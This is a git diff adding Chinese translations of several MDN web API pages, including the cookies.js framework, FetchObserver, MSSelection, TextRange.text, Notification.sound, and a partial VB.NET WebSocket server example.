+|*|  :: cookies.js ::
+|*|
+|*|  A complete cookies reader/writer framework with full unicode support.
+|*|
+|*|  Revision #1 - September 4, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/cookies.js
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntaxes:
+|*|
+|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+|*|  * docCookies.getItem(name)
+|*|  * docCookies.removeItem(name[, path[, domain]])
+|*|  * docCookies.hasItem(name)
+|*|  * docCookies.keys()
+|*|
+\*/
+
+var docCookies = {
+  getItem: function (sKey) {
+    if (!sKey) { return null; }
+    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
+  },
+  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
+    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
+    var sExpires = "";
+    if (vEnd) {
+      switch (vEnd.constructor) {
+        case Number:
+          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
+          break;
+        case String:
+          sExpires = "; expires=" + vEnd;
+          break;
+        case Date:
+          sExpires = "; expires=" + vEnd.toUTCString();
+          break;
+      }
+    }
+    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
+    return true;
+  },
+  removeItem: function (sKey, sPath, sDomain) {
+    if (!this.hasItem(sKey)) { return false; }
+    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
+    return true;
+  },
+  hasItem: function (sKey) {
+    if (!sKey) { return false; }
+    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+  },
+  keys: function () {
+    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
+    for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
+    return aKeys;
+  }
+};
+ +
Note: 对于never-expire-cookies  我们使用一个随意的遥远日期Fri, 31 Dec 9999 23:59:59 GMT. 处于任何原因,你担心这样一个日期,使用 惯例世界末日Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 有符号的32位二进制整数表示的最大秒数。(i.e., 01111111111111111111111111111111 which is new Date(0x7fffffff * 1e3)).
+ +

cookie的写入

+ +
语法
+ +
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+ +
Description
+ +

新增/重写一个 cookie.

+ +
参数
+ +
+
name
+
新增/重写一个 cookie的 名字  (字符传).
+
value
+
cookie的 (字符串).
+
end 可选
+
max-age(最大有效时间)单位秒 (e.g. 31536e3 表示一年, Infinity  表示永不过期的cookie), 或者以GMTString 格式或者Date object 的expires date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (number – finite or Infinitystring, Date object or null). +
+

Note: 尽管 officially defined in rfc6265, max-age 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给end参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:

+ +
docCookies.setItem("mycookie", "Hello world!", 150);
+ +

可以使用绝对日期重写,如下例所示:

+ +
 maxAgeToGMT (nMaxAge) {
+  return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString();
+}
+
+docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));
+ +

在上面的代码中,函数 maxAgeToGMT() 用于从相对时间(即,从“age”)创建GMTString.

+
+
+
path 可选
+
可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
+
domain 可选
+
可访问此cookie的域名. 例如,“example.com”“.example.com”(包括所有子域)或“subdomain.example.com”; 如果未指定,则默认为当前文档位置的主机端口(string or null).
+
secure 可选
+
cookie将仅通过https安全协议传输 (boolean or null).
+
+ +

获取一个cookie

+ +
语法
+ +
docCookies.getItem(name)
+ +
描述
+ +

读一个cookie。如果cookie不存在,则返回null值。Parameters

+ +
参数
+ +
+
name
+
读取cookie的名字 (string).
+
+ +

移除一个cookie

+ +
语法
+ +
docCookies.removeItem(name[, path[, domain]])
+ +
描述
+ +

删除一个cookie.

+ +
参数
+ +
+
name
+
待移除cookie的名字 (string).
+
path 可选
+
例如,"/","/ mydir";如果未指定,则默认为当前文档位置的当前路径 (string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
+
domain 可选
+
例如, "example.com",  或者 "subdomain.example.com"; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (string or null), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 +
Note: 要删除跨子域的cookie,您需要想setItem()样removeItem()中指定domain属性。
+
+
+ +

检查一个cookie(是否存在)

+ +
语法
+ +
docCookies.hasItem(name)
+ +
描述
+ +

检查当前位置是否存在cookie。

+ +
参数
+ +
+
name
+
待检查cookie的名字 (string).
+
+ +

获取所有cookie列表

+ +
Syntax
+ +
docCookies.keys()
+ +
Description
+ +

返回此位置的所有可读cookie的数组。

+ +

Example usage:

+ +
docCookies.setItem("test0", "Hello world!");
+docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
+docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
+docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
+docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
+docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
+docCookies.setItem("test6", "Hello world!", 150);
+docCookies.setItem("test7", "Hello world!", 245, "/content");
+docCookies.setItem("test8", "Hello world!", null, null, "example.com");
+docCookies.setItem("test9", "Hello world!", null, null, null, true);
+docCookies.setItem("test1;=", "Safe character test;=", Infinity);
+
+alert(docCookies.keys().join("\n"));
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+docCookies.removeItem("test1");
+docCookies.removeItem("test5", "/home");
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+alert(docCookies.getItem("unexistingCookie"));
+alert(docCookies.getItem());
+alert(docCookies.getItem("test1;="));
+
diff --git a/files/zh-cn/orphaned/web/api/entity/index.html b/files/zh-cn/orphaned/web/api/entity/index.html new file mode 100644 index 0000000000..2e05365217 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/entity/index.html @@ -0,0 +1,52 @@ +--- +title: Entity +slug: Web/API/Entity +translation_of: Web/API/Entity +--- +

{{APIRef("DOM")}} {{draft}} {{obsolete_header}}

+ +

对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。

+ +

属性

+ +
+
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}inputEncoding, xmlEncoding, and xmlVersion were added
{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Initial definition
diff --git a/files/zh-cn/orphaned/web/api/fetchobserver/index.html b/files/zh-cn/orphaned/web/api/fetchobserver/index.html new file mode 100644 index 0000000000..9bd7699388 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/fetchobserver/index.html @@ -0,0 +1,145 @@ +--- +title: FetchObserver +slug: Web/API/FetchObserver +translation_of: Web/API/FetchObserver +--- +
{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}
+ +

FetchObserver接口提取API表示观察者对象,它允许您检索关于为获取请求的状态信息。

+ +

Properties

+ +

FetchObserver接口从其父接口继承属性EventTarget

+ +
+
{{domxref("FetchObserver.state")}} {{readonlyInline}}
+
Returns a FetchState enum value indicating the current state of the fetch request.
+
+ +

Event handlers

+ +
+
{{domxref("FetchObserver.onstatechange")}}
+
Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.
+
{{domxref("FetchObserver.onrequestprogress")}}
+
Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.
+
{{domxref("FetchObserver.onresponseprogress")}}
+
Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.
+
+ +

Methods

+ +

The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +

Examples

+ +

In the following snippet, we create a new {{domxref("FetchController")}} object, get its signal, and then give the signal to the fetch request via the signal parameter of its init object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.

+ +

We also specify an observe property inside the fetch request init object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.

+ +

Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.

+ +

Note that these event handlers are not yet supported anywhere.

+ +
var controller = new FetchController();
+var signal = controller.signal;
+
+downloadBtn.addEventListener('click', function() {
+  fetch(url, {
+    signal,
+    observe(observer) {
+      observer.onresponseprogress = function(e) {
+        progress.max = e.total;
+        progress.value = e.loaded;
+      }
+
+      observer.onstatechange = function() {
+        if (observer.state = 'complete') {
+          reports.textContent = 'Download complete';
+        }
+      }
+    }
+  }).then( ... ) // do something with the response
+});
+
+cancelBtn.addEventListener('click', function() {
+  controller.abort();
+});
+ +

You can find a work-in-progress demo showing usage of FetchObserver on GitHub (see the source code and the live example).

+ +

Specifications

+ +

Not part of a specification yet.

+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatNo}}

+
{{CompatNo}}{{CompatNo}}[1]{{CompatNo}} +

{{CompatNo}}

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — dom.fetchObserver.enabled and dom.fetchController.enabled — and set the values of both to true.

+ +

See also

+ + diff --git a/files/zh-cn/orphaned/web/api/msselection/index.html b/files/zh-cn/orphaned/web/api/msselection/index.html new file mode 100644 index 0000000000..5760848324 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/msselection/index.html @@ -0,0 +1,103 @@ +--- +title: MSSelection +slug: Web/API/MSSelection +tags: + - API + - DHTML + - DOM + - MSSelection +--- +
{{ ApiRef("DOM") }}{{Non-standard_Header}}
+ +
+

IE Only

+该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
+ +

MSSelection 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。

+ +

该接口从IE4开始实现,但直到IE9时添加了对标准 Selection 接口的支持时,为了区分它才被命名为 MSSelection。可供修改和使用的 MSSelection 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。

+ +

注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。

+ +

属性

+ +
+
{{domxref("MSSelection.type")}}{{ReadOnlyInline}}
+
+

返回选中区域的类型。

+
+
+ +

方法

+ +
+
{{domxref("MSSelection.empty()")}}
+
取消当前选中区,将选中区类型设置为 none
+
{{domxref("MSSelection.clear()")}}
+
清除选中区的内容,将选中区类型设置为 none。注意,该方法可以删除不可编辑的元素。
+
{{domxref("MSSelection.createRange()")}}
+
在当前选中区上创建并返回一个 TextRange,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。
+
{{domxref("MSSelection.createRangeCollection()")}}
+
返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 TextRange。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。
+
+ +

示例

+ +

以下示例在IE10以下有效。该示例通过 document.selection 获取 MSSelection 对象,并清空选区中的内容。

+ +
var sel = document.selection;
+sel.clear();
+ +

开发者笔记

+ +

使用 TextRange 操作选中区域

+ +
+

仅在IE9以下有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。

+
+ +

{{domxref("document.selection")}} 属性返回一个 MSSelection 对象,selection.createRange() 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。

+ +
var sel = document.selection;
+var range = sel.createRange();
+alert(range.text);
+// 输出被选区域的纯文本
+ +

注意,createRange 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 TextRange.select 方法。

+ +

selection 兼容性

+ +

document.selection 属性返回当前文档的 MSSelection 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 Ctrl 选中多个区域;IE中一般也只允许文档只存在一个被选中的 TextRange

+ +

然而,在其它浏览器中,document 并不存在一个所谓 selection 属性——它们通过标准 Selection API 实现对选区的操作,也就是通过 window.getSelection() 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 document.selection 对象而转为使用标准接口(尽管 TextRange 一直保留,但大多数情况下它已失去作用)。

+ +

这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 MSSelection 方式,但不要把该方式作为唯一的选择。

+ +

浏览器兼容性

+ + + + + + + + + + + + + + + + + + +
IE其它浏览器
{{domxref("MSSelection")}} {{non-standard_inline()}}≤10(IE9后应使用标准API)不支持(详见Selection API
+ +

扩展

+ + diff --git a/files/zh-cn/orphaned/web/api/namelist/index.html b/files/zh-cn/orphaned/web/api/namelist/index.html new file mode 100644 index 0000000000..8506bc5266 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/namelist/index.html @@ -0,0 +1,48 @@ +--- +title: NameList +slug: Web/API/NameList +translation_of: Web/API/NameList +--- +

{{APIRef("DOM")}}{{ obsolete_header("10.0") }}

+ +
+

Note: 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。

+
+ +

提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.

+ +

属性

+ +
+
{{domxref("NameList.length")}}{{readonlyInline}}
+
+ +

方法

+ +
+
{{domxref("NameList.contains()")}}
+
返回{{jsxref("Boolean")}}.
+
{{domxref("NameList.containsNS()")}}
+
返回 {{jsxref("Boolean")}}
+
{{domxref("NameList.getName()")}}
+
返回{{domxref("DOMString")}}
+
{{domxref("NameList.getNamespaceURI()")}}
+
返回 {{domxref("DOMString")}}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git "a/files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" "b/files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" new file mode 100644 index 0000000000..3f9c09d768 --- /dev/null +++ "b/files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" @@ -0,0 +1,38 @@ +--- +title: 测试滕盖 +slug: Web/API/NavigatorPlugins/测试滕盖 +--- +
{{ ApiRef("HTML DOM") }}
+ +
 
+ +

Summary

+ +

Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.

+ +

Syntax

+ +
mimeTypes = navigator.mimeTypes;
+
+ +

mimeTypes is a MimeTypeArray object which has a length property as well as item(index) and namedItem(name) methods.

+ +

Example

+ +
function isJavaPresent() {
+  return 'application/x-java-applet' in navigator.mimeTypes;
+}
+
+function getJavaPluginDescription() {
+  var mimetype = navigator.mimeTypes['application/x-java-applet'];
+  if (mimetype === undefined) {
+    // no Java plugin present
+    return undefined;
+  }
+  return mimetype.enabledPlugin.description;
+}
+
+ +

Specification

+ +

This is not part of any specification.

diff --git a/files/zh-cn/orphaned/web/api/notification/sound/index.html b/files/zh-cn/orphaned/web/api/notification/sound/index.html new file mode 100644 index 0000000000..ffe90b4955 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/notification/sound/index.html @@ -0,0 +1,129 @@ +--- +title: Notification.sound +slug: Web/API/notification/sound +translation_of: Web/API/notification/sound +--- +

{{APIRef("Web Notifications")}}

+ +
+

Note: 这个属性并没有完全被一些浏览器支持.

+
+ +

 sound 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the sound option of the {{domxref("Notification.Notification","Notification()")}} constructor.

+ +

Syntax

+ +
var sound = Notification.sound;
+
+ +

Value

+ +

A {{domxref("USVString")}}.

+ +

Examples

+ +

The following snippet is intended to fire a sound along with the notification; a simple options object is created, then the notification is fired using the Notification() constructor.

+ +
var options = {
+  body: 'Do you like my body?',
+  sound: 'audio/alert.mp3'
+}
+
+var n = new Notification('Test notification',options);
+
+n.sound // should return 'audio/alert.mp3'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-sound','sound')}}{{Spec2('Web Notifications')}}Living standard
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }} +

{{ CompatNo() }}

+
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }} +

{{ CompatNo() }}

+
+
+ +

Firefox OS notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

+ +

Chrome notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

+ +

Safari notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

+ +

See also

+ + diff --git a/files/zh-cn/orphaned/web/api/textrange/text/index.html b/files/zh-cn/orphaned/web/api/textrange/text/index.html new file mode 100644 index 0000000000..ae485dd58e --- /dev/null +++ b/files/zh-cn/orphaned/web/api/textrange/text/index.html @@ -0,0 +1,72 @@ +--- +title: TextRange.text +slug: Web/API/TextRange/text +tags: + - API + - DHTML + - DOM + - TextRange +--- +
{{ ApiRef("DOM") }}{{Non-standard_Header}}
+ +
+

IE Only

+该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
+ +

{{domxref("TextRange")}} 接口中的属性 text 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。

+ +

语法

+ +
var tString = textRange.text;
+textRange.text = oString;
+
+ +

返回值

+ +

一个 {{domxref("DOMString")}}。

+ +

示例

+ +

以下示例在IE9以下有效。该示例通过 document.selection 获取 TextRange,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。

+ +
var range = document.selection.createRange();
+range.htmlText = range.text;
+// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。
+
+ +

开发者笔记

+ +

关于 text 属性

+ +

注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。

+ +

如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 htmlText 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。

+ +

浏览器兼容性

+ + + + + + + + + + + + + + + + + + +
IE其它浏览器
{{domxref("TextRange.text")}} {{non-standard_inline()}}支持(IE9后应使用标准API)不支持(详见Selection API
+ +

扩展

+ + diff --git a/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html new file mode 100644 index 0000000000..3969f9c5ea --- /dev/null +++ b/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html @@ -0,0 +1,270 @@ +--- +title: WebSocket Server Vb.NET +slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET +translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET +--- +

{{gecko_minversion_header("2")}}{{draft}}

+ +

下面的示例没有优化。没有使用 .NET 4.5 Websocket。
+
+ 当前版本:

+ + + +

 

+ +
Imports System.Net.Sockets
+Imports System.Net
+Imports System
+Imports System.Text
+Imports System.Text.RegularExpressions
+
+
+Namespace TypeDef.WebSocket
+
+    Public Class Client
+        Dim _TcpClient As System.Net.Sockets.TcpClient
+
+        Public Delegate Sub OnClientDisconnectDelegateHandler()
+        Public Event onClientDisconnect As OnClientDisconnectDelegateHandler
+
+
+        Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient)
+            Me._TcpClient = tcpClient
+        End Sub
+
+
+        Function isConnected() As Boolean
+            Return Me._TcpClient.Connected
+        End Function
+
+
+        Sub HandShake()
+            Dim stream As NetworkStream = Me._TcpClient.GetStream()
+            Dim bytes As Byte()
+            Dim data As String
+
+            While Me._TcpClient.Connected
+                While (stream.DataAvailable)
+                    ReDim bytes(Me._TcpClient.Client.Available)
+                    stream.Read(bytes, 0, bytes.Length)
+                    data = System.Text.Encoding.UTF8.GetString(bytes)
+
+                    If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then
+
+                        Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine)
+
+                        stream.Write(response, 0, response.Length)
+                        Exit Sub
+                    Else
+                        'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample)
+                        Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter
+                    End If
+                End While
+            End While
+            RaiseEvent onClientDisconnect()
+        End Sub
+
+
+        Sub CheckForDataAvailability()
+            If (Me._TcpClient.GetStream().DataAvailable) Then
+                Dim stream As NetworkStream = Me._TcpClient.GetStream()
+                Dim frameCount = 2
+                Dim bytes As Byte()
+                Dim data As String
+                ReDim bytes(Me._TcpClient.Client.Available)
+                stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it..
+
+                Try
+                    Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value)
+
+                    If length > -1 Then
+                        If length = 126 Then
+                            length = 4
+                        ElseIf length = 127 Then
+                            length = 10
+                        End If
+                    End If
+
+                    'the following is very inefficient and likely unnecessary..
+                    'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE
+
+                    Dim value As Integer = bytes(0)
+                    Dim bitArray As BitArray = New BitArray(8)
+
+                    For c As Integer = 0 To 7 Step 1
+                        If value - (2 ^ (7 - c)) >= 0 Then
+                            bitArray.Item(c) = True
+                            value -= (2 ^ (7 - c))
+                        Else
+                            bitArray.Item(c) = False
+                        End If
+                    Next
+
+
+                    Dim FRRR_OPCODE As String = ""
+
+                    For Each bit As Boolean In bitArray
+                        If bit Then
+                            FRRR_OPCODE &= "1"
+                        Else
+                            FRRR_OPCODE &= "0"
+                        End If
+                    Next
+
+
+                    Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1)
+                    Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1)
+                    Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1)
+                    Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1)
+                    Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2)
+
+
+
+                    Dim decoded(bytes.Length - (frameCount + 4)) As Byte
+                    Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)}
+
+                    Dim j As Integer = 0
+                    For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1
+                        decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4)))
+                        j += 1
+                    Next
+
+
+
+                    Select Case opCode
+                        Case Is = 1
+                            'Text Data Sent From Client
+
+                            data = System.Text.Encoding.UTF8.GetString(decoded)
+                            'handle this data
+
+                            Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved")
+                            Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text
+                            Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)}
+
+
+                            Dim ResponseData As Byte()
+                            ReDim ResponseData((header.length + Payload.Length) - 1)
+                            'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..
+                            'which tells the client that your next stream write will be a continuation frame..
+
+                            Dim index as integer = 0
+
+                            Buffer.BlockCopy(header, 0, ResponseData, index, header.length)
+                            index += header.length
+
+                            Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length)
+                            index += payload.length
+                            stream.Write(ResponseData, 0, ResponseData.Length)
+                      Case Is = 2
+                            '// Binary Data Sent From Client
+                            data = System.Text.Encoding.UTF8.GetString(decoded)
+                            Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved")
+                             stream.Write(response, 0, response.Length)
+                      Case Is = 9 '// Ping Sent From Client
+                      Case Is = 10 '// Pong Sent From Client
+                      Case Else '// Improper opCode.. disconnect the client
+                            _TcpClient.Close()
+                            RaiseEvent onClientDisconnect()
+                      End Select
+                Catch ex As Exception
+                    _TcpClient.Close()
+                    RaiseEvent onClientDisconnect()
+                End Try
+            End If
+        End Sub
+    End Class
+
+
+
+    Public Class Server
+        Inherits System.Net.Sockets.TcpListener
+
+        Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client)
+        Event OnClientConnect As OnClientConnectDelegate
+
+
+        Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500)
+        Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50)
+        Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client)
+
+
+
+        Sub New(ByVal url As String, ByVal port As Integer)
+            MyBase.New(IPAddress.Parse(url), port)
+        End Sub
+
+
+        Sub startServer()
+            Me.Start()
+            PendingCheckTimer.Start()
+        End Sub
+
+
+
+        Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect
+            Me.ClientCollection.Add(client)
